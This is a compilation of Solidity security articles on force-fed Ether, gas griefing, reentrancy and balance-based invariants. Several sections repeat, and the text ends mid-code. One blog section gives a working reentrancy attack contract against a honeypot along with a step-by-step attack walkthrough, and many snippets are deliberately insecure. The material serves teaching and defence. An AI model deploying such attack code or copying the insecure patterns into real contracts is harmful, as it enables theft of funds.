Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Earlier we touched on the topic: “Improving the overall security of the ecosystem from attacks on smart contracts”. In this article, we will continue to develop this painful topic of ecosystem security. Occasionally, it is unwanted for users to be able to send Ether to a smart contract. Unfortunately for these circumstances, it’s possible to bypass a contract fallback function and forcibly send Ether.

contract Vulnerable {
    function () payable {
        revert();
    }

    function somethingBad() {
        require(this.balance > 0);
        // Do something bad
    }
}

Though it seems like any transaction to the Vulnerable contract should be reverted, there are actually a couple ways to forcibly send Ether.

The first method is to call the selfdestruct method on a contract with the Vulnerable contract address set as the beneficiary. This works because selfdestruct will not trigger the fallback function.

Another method is to precompute a contract’s address and send Ether to the address before the contract is even deployed. Surprisingly enough, this is possible.

Force Feeding

Forcing a smart contract to hold an Ether balance can influence its internal accounting and security assumptions. There are multiple ways a smart contract can receive Ether. The hierarchy is as follows:

  1. Check whether a payable external receive function is defined.
  2. If not, check whether a payable external fallback function is defined.
  3. Revert.

The precedence of each function is explained in this great graphic from the Solidity by Example article:

Which function is called, fallback() or receive()?

           send Ether
               |
         msg.data is empty?
              / \
            yes  no
            /     \
receive() exists?  fallback()
         /   \
        yes   no
        /      \
    receive()   fallback()

Consider the following example:

pragma solidity ^0.8.13;

contract Vulnerable {
    receive() external payable {
        revert();
    }

    function somethingBad() external {
        require(address(this).balance > 0);
        // Do something bad
    }
}

The contract’s logic seemingly disallows direct payments and prevents “something bad” from happening. However, calling revert in both fallback and receive cannot prevent the contract from receiving Ether. The following techniques can be used to force-feed Ether to a smart contract.

Selfdestruct

When the SELFDESTRUCT opcode is called, funds of the calling address are sent to the address on the stack, and execution is immediately halted. Since this opcode works on the EVM-level, Solidity-level functions that might block the receipt of Ether will not be executed.

Pre-calculated Deployments

Additionally, the target address of newly deployed smart contracts is generated in a deterministic fashion. The address generation can be looked up in any EVM implementation, such as the py-evm reference implementation by the Ethereum Foundation:

def generate_contract_address(address: Address, nonce: int) -> Address:
    return force_bytes_to_address(keccak(rlp.encode([address, nonce])))

An attacker can send funds to this address before the deployment has happened. This is also illustrated by this 2017 Underhanded Solidity Contest submission.

Block Rewards and Coinbase

Depending on the attacker’s capabilities, they can also start proof-of-work mining. By setting the target address to their coinbase, block rewards will be added to its balance. As this is yet another EVM-level capability, checks performed by Solidity are ineffective.

Solution

The above effects illustrate that relying on exact comparisons to the contract’s Ether balance is unreliable. The smart contract’s business logic must consider that the actual balance associated with it can be higher than the internal accounting’s value.

In general, we strongly advise against using the contract’s balance as a guard.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Insufficient Gas Griefing

Griefing is a type of attack often performed in video games, where a malicious user plays a game in an unintended way to bother other players, also known as trolling. This type of attack is also used to prevent transactions from being performed as intended.

This attack can be done on contracts which accept data and use it in a sub-call on another contract. This method is often used in multisignature wallets as well as transaction relayers. If the sub-call fails, either the whole transaction is reverted, or execution is continued.

Let’s consider a simple relayer contract as an example. As shown below, the relayer contract allows someone to make and sign a transaction, without having to execute the transaction. Often this is used when a user can’t pay for the gas associated with the transaction.

contract Relayer {
    mapping (bytes => bool) executed;

    function relay(bytes _data) public {
        // replay protection; do not call the same transaction twice
        require(executed[_data] == 0, "Duplicate call");
        executed[_data] = true;
        innerContract.call(bytes4(keccak256("execute(bytes)")), _data);
    }
}

The user who executes the transaction, the ‘forwarder’, can effectively censor transactions by using just enough gas so that the transaction executes, but not enough gas for the sub-call to succeed.

There are two ways this could be prevented. The first solution would be to only allow trusted users to relay transactions. The other solution is to require that the forwarder provides enough gas, as seen below.

// contract called by Relayer
contract Executor {
    function execute(bytes _data, uint _gasLimit) {
        require(gasleft() >= _gasLimit);
        ...
    }
}

Griefing

This attack may be possible on a contract which accepts generic data and uses it to make a call another contract (a ‘sub-call’) via the low level address.call() function, as is often the case with multisignature and transaction relayer contracts.

If the call fails, the contract has two options:

  1. revert the whole transaction
  2. continue execution.

Take the following example of a simplified Relayer contract which continues execution regardless of the outcome of the subcall:

contract Relayer {
    mapping (bytes => bool) executed;

    function relay(bytes _data) public {
        // replay protection; do not call the same transaction twice
        require(executed[_data] == 0, "Duplicate call");
        executed[_data] = true;
        innerContract.call(bytes4(keccak256("execute(bytes)")), _data);
    }
}

This contract allows transaction relaying. Someone who wants to make a transaction but can’t execute it by himself (e.g. due to the lack of ether to pay for gas) can sign data that he wants to pass and transfer the data with his signature over any medium. A third party “forwarder” can then submit this transaction to the network on behalf of the user.

If given just the right amount of gas, the Relayer would complete execution recording the _dataargument in the executed mapping, but the subcall would fail because it received insufficient gas to complete execution.

An attacker can use this to censor transactions, causing them to fail by sending them with a low amount of gas. This attack is a form of “griefing“: It doesn’t directly benefit the attacker, but causes grief for the victim. A dedicated attacker, willing to consistently spend a small amount of gas could theoretically censor all transactions this way, if they were the first to submit them to Relayer.

One way to address this is to implement logic requiring forwarders to provide enough gas to finish the subcall. If the miner tried to conduct the attack in this scenario, the require statement would fail and the inner call would revert. A user can specify a minimum gasLimit along with the other data (in this example, typically the _gasLimit value would be verified by a signature, but that is omitted for simplicity in this case).

// contract called by Relayer
contract Executor {
    function execute(bytes _data, uint _gasLimit) {
        require(gasleft() >= _gasLimit);
        ...
    }
}

Another solution is to permit only trusted accounts to relay the transaction.

This question is about the verb “to grief” rather than the noun “grief”.

The latter is presumably what lots of people are currently feeling due to the drop in cryptocurrency prices.

The former, which is what you’re asking about, is when someone uses a system in an unexpected way to create what other users of the system might call an attack. Such an attack doesn’t benefit the attacker, but does make using the system more difficult for the victim. (i.e. It causes them grief [noun].)

It’s a common term in computer games, where the person performing the griefing is referred to as the griefer.

For an example in the Ethereum world, take a look at the Insufficient Gas Griefing attack.

I’m really not very familiar with griefing attacks but based on the definition I’d say they can be profitable for the attacker. Not directly but indirectly.

My not-too-scientific analysis is based on the example given in the linked answer’s references: https://consensys.github.io/smart-contract-best-practices/known_attacks/#insufficient-gas-griefing

This is not a perfect example but at least something: imagine a contract which is used for finding out whether anyone disagrees or agrees with some idea. So a maximum of one “yes” and a maximum of one “no” is enough for the contract. Now for some reason it needs to be called through such a Relayer contract. If the attacker performs a griefing attack on the “yes” or the “no” answer the answer doesn’t get stored but nobody else can give that answer anymore as the Relayer has already blocked that answer. That way the attacker knows nobody can give an answer he doesn’t like.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Reentrancy

Reentrancy is an attack that can occur when a bug in a contract function can allow a function interaction to proceed multiple times when it should otherwise be prohibited. This can be used to drain funds from a smart contract if used maliciously. In fact, reentrancy was the attack vector used in the DAO hack.

Single function reentrancy

A single function reentrancy attack occurs when a vulnerable function is the same function that an attacker is trying to recursively call.

// INSECURE
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(msg.sender.call.value(amount)());
    balances[msg.sender] = 0;
}

Here we can see that the balance is only modified after the funds have been transferred. This can allow a hacker to call the function many times before the balance is set to 0, effectively draining the smart contract.

Cross-function reentrancy

A cross-function reentrancy attack is a more complex version of the same process. Cross-function reentrancy occurs when a vulnerable function shares state with a function that an attacker can exploit.

// INSECURE
function transfer(address to, uint amount) external {
  if (balances[msg.sender] >= amount) {
    balances[to] += amount;
    balances[msg.sender] -= amount;
  }
}

function withdraw() external {
  uint256 amount = balances[msg.sender];
  require(msg.sender.call.value(amount)());
  balances[msg.sender] = 0;
}

In this example, a hacker can exploit this contract by having a fallback function call transfer() to transfer spent funds before the balance is set to 0 in the withdraw() function.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Reentrancy prevention

When transfering funds in a smart contract, use send or transfer instead of call. The problem with using call is that unlike the other functions, it doesn’t have a gas limit of 2300. This means that call can be used in external function calls which can be used to perform reentrancy attacks.

Another solid prevention method is to mark untrusted functions.

function untrustedWithdraw() public {
  uint256 amount = balances[msg.sender];
  require(msg.sender.call.value(amount)());
  balances[msg.sender] = 0;
}

In addition, for optimum security use the checks-effects-interactions pattern. This is a simple rule of thumb for ordering smart contract functions.

The function should begin with checks, e.g. require and assert statements.

Next, the effects of the contract should be performed, i.e. state modifications.

Finally, we can perform interactions with other smart contracts, e.g. external function calls.

This structure is effective against reentrancy because the modified state of the contract will prevent bad actors from performing malicious interactions.

function withdraw() external {
  uint256 amount = balances[msg.sender];
  balances[msg.sender] = 0;
  require(msg.sender.call.value(amount)());
}

Since the balance is set to 0 before any interactions are performed, if the contract is called recursively, there is nothing to send after the first transaction.

Reentrancy

One of the major dangers of calling external contracts is that they can take over the control flow, and make changes to your data that the calling function wasn’t expecting. This class of bugs can take many forms, and both of the major bugs that led to the DAO’s collapse were bugs of this sort.

Reentrancy on a Single Function

The first version of this bug to be noticed involved functions that could be called repeatedly, before the first invocation of the function was finished. This may cause the different invocations of the function to interact in destructive ways.

// INSECURE
mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call withdrawBalance again
    require(success);
    userBalances[msg.sender] = 0;
}

Since the user’s balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed and will withdraw the balance over and over again.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

On June 17th 2016, The DAO was hacked and 3.6 million Ether ($50 Million) were stolen using the first reentrancy attack. Ethereum Foundation issued a critical update to rollback the hack. This resulted in Ethereum being forked into Ethereum Classic and Ethereum.

In the example given, the best way to prevent this attack is to make sure you don’t call an external function until you’ve done all the internal work you need to do:

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    userBalances[msg.sender] = 0;
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // The user's balance is already 0, so future invocations won't withdraw anything
    require(success);
}

Note that if you had another function which called withdrawBalance(), it would be potentially subject to the same attack, so you must treat any function which calls an untrusted contract as itself untrusted. See below for further discussion of potential solutions.

Cross-function Reentrancy

An attacker may also be able to do a similar attack using two different functions that share the same state.

// INSECURE
mapping (address => uint) private userBalances;

function transfer(address to, uint amount) {
    if (userBalances[msg.sender] >= amount) {
       userBalances[to] += amount;
       userBalances[msg.sender] -= amount;
    }
}

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call transfer()
    require(success);
    userBalances[msg.sender] = 0;
}

In this case, the attacker calls transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. This vulnerability was also used in the DAO attack.

The same solutions will work, with the same caveats. Also note that in this example, both functions were part of the same contract. However, the same bug can occur across multiple contracts, if those contracts share state.

Pitfalls in Reentrancy Solutions

Since reentrancy can occur across multiple functions, and even multiple contracts, any solution aimed at preventing reentrancy with a single function will not be sufficient.

Instead, we have recommended finishing all internal work (ie. state changes) first, and only then calling the external function. This rule, if followed carefully, will allow you to avoid vulnerabilities due to reentrancy. However, you need to not only avoid calling external functions too soon, but also avoid calling functions which call external functions. For example, the following is insecure:

// INSECURE
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function withdrawReward(address recipient) public {
    uint amountToWithdraw = rewardsForA[recipient];
    rewardsForA[recipient] = 0;
    (bool success, ) = recipient.call.value(amountToWithdraw)("");
    require(success);
}

function getFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    rewardsForA[recipient] += 100;
    withdrawReward(recipient); // At this point, the caller will be able to execute getFirstWithdrawalBonus again.
    claimedBonus[recipient] = true;
}

Even though getFirstWithdrawalBonus() doesn’t directly call an external contract, the call in withdrawReward() is enough to make it vulnerable to a reentrancy. You therefore need to treat withdrawReward() as if it were also untrusted.

mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function untrustedWithdrawReward(address recipient) public {
    uint amountToWithdraw = rewardsForA[recipient];
    rewardsForA[recipient] = 0;
    (bool success, ) = recipient.call.value(amountToWithdraw)("");
    require(success);
}

function untrustedGetFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    claimedBonus[recipient] = true;
    rewardsForA[recipient] += 100;
    untrustedWithdrawReward(recipient); // claimedBonus has been set to true, so reentry is impossible
}

In addition to the fix making reentry impossible, untrusted functions have been marked. This same pattern repeats at every level: since untrustedGetFirstWithdrawalBonus() calls untrustedWithdrawReward(), which calls an external contract, you must also treat untrustedGetFirstWithdrawalBonus() as insecure.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Another solution often suggested is a mutex. This allows you to “lock” some state so it can only be changed by the owner of the lock. A simple example might look like this:

// Note: This is a rudimentary example, and mutexes are particularly useful where there is substantial logic and/or shared state
mapping (address => uint) private balances;
bool private lockBalances;

function deposit() payable public returns (bool) {
    require(!lockBalances);
    lockBalances = true;
    balances[msg.sender] += msg.value;
    lockBalances = false;
    return true;
}

function withdraw(uint amount) payable public returns (bool) {
    require(!lockBalances && amount > 0 && balances[msg.sender] >= amount);
    lockBalances = true;

    (bool success, ) = msg.sender.call.value(amount)("");

    if (success) { // Normally insecure, but the mutex saves it
      balances[msg.sender] -= amount;
    }

    lockBalances = false;
    return true;
}

If the user tries to call withdraw() again before the first call finishes, the lock will prevent it from having any effect. This can be an effective pattern, but it gets tricky when you have multiple contracts that need to cooperate. The following is insecure:

// INSECURE
contract StateHolder {
    uint private n;
    address private lockHolder;

    function getLock() {
        require(lockHolder == address(0));
        lockHolder = msg.sender;
    }

    function releaseLock() {
        require(msg.sender == lockHolder);
        lockHolder = address(0);
    }

    function set(uint newState) {
        require(msg.sender == lockHolder);
        n = newState;
    }
}

An attacker can call getLock(), and then never call releaseLock(). If they do this, then the contract will be locked forever, and no further changes will be able to be made. If you use mutexes to protect against reentrancy, you will need to carefully ensure that there are no ways for a lock to be claimed and never released. (There are other potential dangers when programming with mutexes, such as deadlocks and livelocks. You should consult the large amount of literature already written on mutexes, if you decide to go this route.)


Above were examples of reentrancy involving the attacker executing malicious code within a single transaction. The following are a different type of attack inherent to Blockchains: the fact that the order of transactions themselves (e.g. within a block) is easily subject to manipulation.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Reentrancy Attack On Smart Contracts: How To Identify The Exploitable And An Example Of An Attack Contract

to code smart contracts is certainly not a free picnic. A bug introduced in the code costs money and most likely not only your money but also other people’s as well. The reality is that the Ethereum ecosystem is still in its infancy but growing and standards are being defined and redefined by the day so one needs to be always updated and akin to smart contract security best practices.

As a student of smart contract security, I have been on the look out for vulnerabilities in code. It came to my attention this contract deployed to the testnet.

pragma solidity ^0.4.8;contract HoneyPot {
mapping (address => uint) public balances; function HoneyPot() payable {
put();
} function put() payable {
balances[msg.sender] = msg.value;
} function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
} function() {
throw;
}
}

The HoneyPot contract above originally contained 5 ether and was deliberately devised to be hacked. In this blog post, I want to share with you how I attacked this contract and ‘collected’ most of its ether.

The Vulnerable Contract

The purpose of the HoneyPot contract above is to keep a record of balances for each address that put() ether in it. It also allows an address to get() its ether deposited it in it.

Let’s look at the most interesting parts of this contract:

mapping (address => uint) public balances;

The code above maps addresses to a value and stores it in a public variable called balances . It allows to check the HoneyPot balance for an address.

balances[0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]

The put() function below is where the storage of the ether value happens in the contract. Note that msg.sender here is the transaction sender’s address.

function put() payable {
balances[msg.sender] = msg.value;
}

Nest, we find the function where the exploitable is. The purpose of this function is to let addresses to withdraw the value of ether they have in HoneyPot as balance.

function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
}

Where is the exploitable and how can someone attack this you ask? Check again these lines of code :

if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;

HoneyPot contract sets the value of the address balance to zero only after checking if sending ether to msg.sender goes through.

What if there is an AttackContract that tricks HoneyPot into thinking that it still has ether to withdraw before AttackContract balance is set to zero. This can be done in a recursive manner and the name for this is called reentrancy attack.

Let’s create one.

Here is the full contract code. I will attempt my best to explain its parts.

pragma solidity ^0.4.8;import "./HoneyPot.sol";contract HoneyPotCollect {
HoneyPot public honeypot; function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
} function kill () {
suicide(msg.sender);
} function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
} function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}
}

The first few lines is basically assigning the solidity compiler to use with the contract. Then we import the HoneyPot contract which I put in a separate file. Note that HoneyPot is referenced throughout the HoneyPotCollect contract. And we set up the contract base which we call it HoneyPotCollect .

pragma solidity ^0.4.8;import "./HoneyPot.sol";contract HoneyPotCollect {
HoneyPot public honeypot;
...
}

Then we define the constructor function. This is the function that is called when HoneyPotCollect is created. Note that we pass an address to this function. This address will be the HoneyPot contract address.

function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
}

Next function is the kill function. I want to withdraw ether from the HoneyPot contract to the HoneyPotCollect contract. However I want also to get the collected ether to an address I own. So I add a mechanism to destroy the HoneyPotCollect and send all ether containing in it to the address that calls the kill function.

function kill () {
suicide(msg.sender);
}

The following function is the one that will set the reentrancy attack in motion. It puts some ether in HoneyPot and right after it, it gets it.

function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}

The payable term here tells the Ethereum Virtual Machine that it permits to receive ether. Invoke this function with also some ether.

The last function is what is known as the fallback functionThis unnamed function is called whenever the HoneyPotCollect contract receives ether.

function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}

This is where the reentrancy attack occur. Let’s see how.

The Attack

After deploying HoneyPotCollect, call collect() and sending with it some ether.

HoneyPot get() function sends ether to the address that called it only if this contract has any ether as balance. When HoneyPot sends ether to HoneyPotCollect the fallback function is triggered. If the HoneyPot balance is more than the value that it was sent to, the fallback function calls get() function once again and the cycle repeats.

Recall that within the get()function the code that sets the balance to zero comes only after sending the transaction. This tricks the HoneyPot contract into sending money to the HoneyPotCollect address over and over and over until HoneyPot is depleted of almost all its ether.

Try it yourself. I left 1 test ether in this contract so others could try it themselves. If you see no ether left there, then it is because someone already attacked it before you.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Protect Your Solidity Smart Contracts From Reentrancy Attacks

One of the most devastating attacks you need to watch out for when developing smart contracts with Solidity are reentrancy attacks. They are devastating for two reasons: they can completely drain your smart contract of its ether, and they can sneak their way into your code if you’re not careful.

A reentrancy attack can occur when you create a function that makes an external call to another untrusted contract before it resolves any effects. If the attacker can control the untrusted contract, they can make a recursive call back to the original function, repeating interactions that would have otherwise not run after the effects were resolved.

This simplest example is when a contract does internal accounting with a balance variable and exposes a withdraw function. If the vulnerable contract transfers funds before it sets the balance to zero, the attacker can recursively call the withdraw function repeatedly and drain the whole contract.

Let’s look at an example:

function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}

All an attacker needs to exploit this function is to get some amount of balance mapped to their smart contract address and create a fallback function that calls withdraw.

After msg.sender.call.value(amount)() transfers the correct amount of funds, the attacker’s fallback function calls withdraw again, transferring more funds before balances[msg.sender] = 0 can stop further transfers. This continues until there is either no ether remaining, or execution reaches the maximum stack size.

Typically a vulnerable function will make an external call using transfersend, or call. We will cover the differences between these functions in the section on preventing reentrancy attacks.

Types of reentrancy attacks

There are two main types of reentrancy attacks: single function and cross-function reentrancy.

Single function reentrancy attack

This type of attack is the simplest and easiest to prevent. It occurs when the vulnerable function is the same function the attacker is trying to recursively call.

Our previous code example is a single function reentrancy attack.

Cross-function reentrancy attack

These attacks are harder to detect. A cross-function reentrancy attack is possible when a vulnerable function shares state with another function that has a desirable effect for the attacker.

This is easiest to explain with an example:

function transfer(address to, uint amount) external {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}

In this example, withdraw calls the attacker’s fallback function same as with the single function reentrancy attack.

The difference is the fallback function makes a call to transfer instead of recursively calling withdraw. Because the balance has not been set to 0 before this call, the transfer function can transfer a balance that has already been spent.

How bad can a reentrancy attack be?

Just ask someone who invested in The DAO back in 2016. The DAO hack was one of the highest profile reentrancy attacks in Ethereum’s history. An attacker managed to drain it of about 3.6 million ether.

The DAO had a vulnerable function meant to split off a child DAO. The attacker used this function to recursively transfer funds from the original DAO to the child DAO that they controlled.

The hack was so damaging the Ethereum Foundation resorted to a controversial hard fork that recovered investor funds. Most supported the hard fork, but part of the community thought it violated the core principles of cryptocurrency — namely immutability — and continued to use the old chain resulting in the creation of Ethereum Classic.

Prevent reentrancy attacks

There are a few best practices you should follow to protect your smart contracts from reentrancy attacks.

send, transfer, and call

Because most reentrancy attacks involve sendtransfer, or call functions — it is important to understand the difference between them.

send and transfer functions are considered safer because they are limited to 2,300 gas. The gas limit prevents the expensive external function calls back to the target contract. The one pitfall is when a contract sets a custom amount of gas for a send or transfer using msg.sender.call(ethAmount).gas(gasAmount).

The call function is unfortunately much more vulnerable.

When an external function call is expected to perform complex operations, you typically want to use the call function because it forwards all remaining gas. This opens the door for an attacker to make calls back to the original function in a single function reentrancy attack, or a different function from the original contract in a cross-function reentrancy attack.

Wherever possible, use send or transfer in place of call to limit your security risk.

Mark untrusted functions

To protect against reentrancy attacks, it is important to identify when a function is untrusted. The Consensys best practices recommends that you name functions and variables to indicate if they are untrusted.

For example:

function untrustedWithdraw() public {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}

It is important to remember that if a function calls another untrusted function it is also untrusted.

function untrustedSettleBalance() external {
untrustedWithdraw();
}

Checks-effects-interactions pattern

The most reliable method of protecting against reentrancy attacks is using the checks-effects-interactions pattern.

This pattern defines the order in which you should structure your functions.

First perform any checks, which are normally assert and require statements, at the beginning of the function.

If the checks pass, the function should then resolve all the effects to the state of the contract.

Only after all state changes are resolved should the function interact with other contracts. By calling external functions last, even if an attacker makes a recursive call to the original function they cannot abuse the state of the contract.

Let’s rewrite our vulnerable withdraw function using the checks-effects-interactions pattern.

function withdraw() external {
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
require(msg.sender.call.value(amount)());
}

Because we zero out the balance — an effect — before making an external call, a recursive call made by an attacker will not be tricked into thinking there is still a remaining balance.

Mutex

In more complex situations such as protecting against cross-function reentrancy attacks it may be necessary to use a mutex.

A mutex places a lock on the contract state. Only the owner of the lock can modify the state.

Let’s look at a simple implementation of a mutex.

function transfer(address to, uint amount) external {
require(!lock);
lock = true; if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
} lock = false;
}function withdraw() external {
require(!lock);
lock = true; uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0; lock = false;
}

By using this lock, an attacker can no longer exploit the withdraw function with a recursive call. Nor can an attacker exploit a call to transfer for a cross-function reentrancy attack. All state modifications occur while lock is true, preventing any function checking the lock from being called out of order.

You must be careful implementing a mutex to make sure there is always a way for a lock to be released. If an attacker can get a lock on your contract and prevent its release your contract can be rendered inert.

OpenZeppelin has it’s own mutex implementation you can use called ReentrancyGuard. This library provides a modifier you can apply to any function called nonReentrant that guards the function with a mutex.

View the source code for the OpenZeppelin ReentrancyGuard library here: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/utils/ReentrancyGuard.sol

Keep in mind that a nonReentrant function should be external. If another function calls the nonReentrant function it is no longer protected.

The future of reentrancy attacks

There is always the risk of future updates introducing more opportunities for attacks. The Constantinople update was delayed because a flaw was discovered in EIP 1283 that introduced a new reentrancy attack using certain SSTORE operations. Had this update been deployed to the mainnet, even send and transfer functions would have been vulnerable.

Attacks will get increasingly advanced and involve more complex interactions between functions and contracts to effect state. The best thing we can do to stay ahead is to keep interactions as simple as possible and employ best practices such as using transfer or send instead of call and using the checks-effects-interactions pattern to structure our functions.


Typically, when you send ether to a contract it must execute the fallback function or another function defined in the contract. There are two exceptions to this, where ether can exist in a contract without executing any code. Contracts that depend on code execution for all ether sent to them can be vulnerable to attacks where ether is forcibly sent.

The Vulnerability

A typical defensive programming technique that is valuable in enforcing correct state transitions or validating operations is invariant checking. This method involves defining a set of invariants (metrics or parameters that do not need to be changed) and checking that they do not change after one (or more) operations. An example of an invariant is totalSupply a fixed-issuance ERC20 token. Because no function should change this invariant.

In particular, there is an obvious invariant that can be tempting to use but can in fact be manipulated by external users (despite the rules set out in the smart contract). This is the current ether stored in the contract. Often, when developers first learn about Solidity, they have the misconception that a contract can accept ether only via payable functions. This misunderstanding can lead to contracts that have false assumptions about the ether balance within them, which can lead to various vulnerabilities. The key for this vulnerability is the (incorrect) use of this.balance.

There are two ways in which ether can (forcibly) be sent to a contract that doesn’t use a payable function or doesn’t execute any code on the contract:

1. Self-destruct

Each contract will be able to perform selfdestruct function that removes all bytecode from the contract address and sends all ether stored there to the address specified by the parameter. If the specified address is also a contract, no functions (including the fallback) get called. Therefore, the selfdestruct function can be forced to send ether to any contract regardless of any code that may exist in the contract, even contracts without payable functions. This means an attacker can create a contract with a selfdestruct function, send ether to it, call selfdestruct(target) and force ether to be sent to a target contract.

2. Pre-sent ether

Another way to get ether into a contract is to preload the contract address with ether. Contract addresses are deterministic — in fact, the address is calculated from the Keccak-256 (similar to SHA-3) hash of the address creating the contract and the transaction nonce that creates the contract. Specifically, it is of the form:

address = sha3(rlp.encode([account_address,transaction_nonce]))

Let’s explore some pitfalls that can arise given this knowledge. Consider the overly simple contract in EtherGame.sol.


contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;

    mapping(address => uint) redeemableEther;
    // Users pay 0.5 ether. At specific milestones, credit their accounts.
    function play() external payable {
        require(msg.value == 0.5 ether); // each play is 0.5 ether
        uint currentBalance = this.balance + msg.value;
        // ensure no players after the game has finished
        require(currentBalance <= finalMileStone);
        // if at a milestone, credit the player's account
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(this.balance == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

GITHUB


This contract represents a simple game (which would naturally involve race conditions) where players send 0.5 ether to the contract in the hopes that they will become the first player to reach one of the three milestones. Milestones are denominated in ether. The first to reach the milestone can claim a share of the ether after the game ends. The game ends when the last milestone of 10 ether is reached; users can then claim their rewards.

The issues with the EtherGame contract come from the poor use of this.balance both lines 14 and 32. An attacker could forcibly send a small amount of ether—say, 0.1 ether—through the selfdestruct function (discussed earlier) to prevent any future players from reaching a milestone. this.balance will never be a multiple of 0.5 ether thanks to this 0.1 ether contribution, because all legitimate players can only send 0.5-ether increments. This prevents all the ‘if’ conditions on lines 18, 21, and 24 from being true.

What’s worse is that an attacker who missed a milestone could forcibly send 10 ether (or an equivalent amount of ether that shifts the balance of the contract above the finalMileStone), which can lock all rewards in the contract forever. This is because the claimReward function will always revert, due to the require on line 32 (i.e., because this.balance is greater than finalMileStone).

Preventative Techniques

This sort of vulnerability often arises due to misuse of this.balance. Contract logic, when possible, should prevent relying on exact values of the balance of the contract because it can be artificially manipulated. If applying logic based on this.balance, you will have to deal with unexpected balances.

If an exact amount of deposited ether is required, a self-defined variable should be used that is incremented in payable functions, to safely track the deposited ether. This variable will not be influenced by the forced ether sent via selfdestruct call.

With this in mind, a corrected version of the EtherGame contract could look like:

contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() external payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game has finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
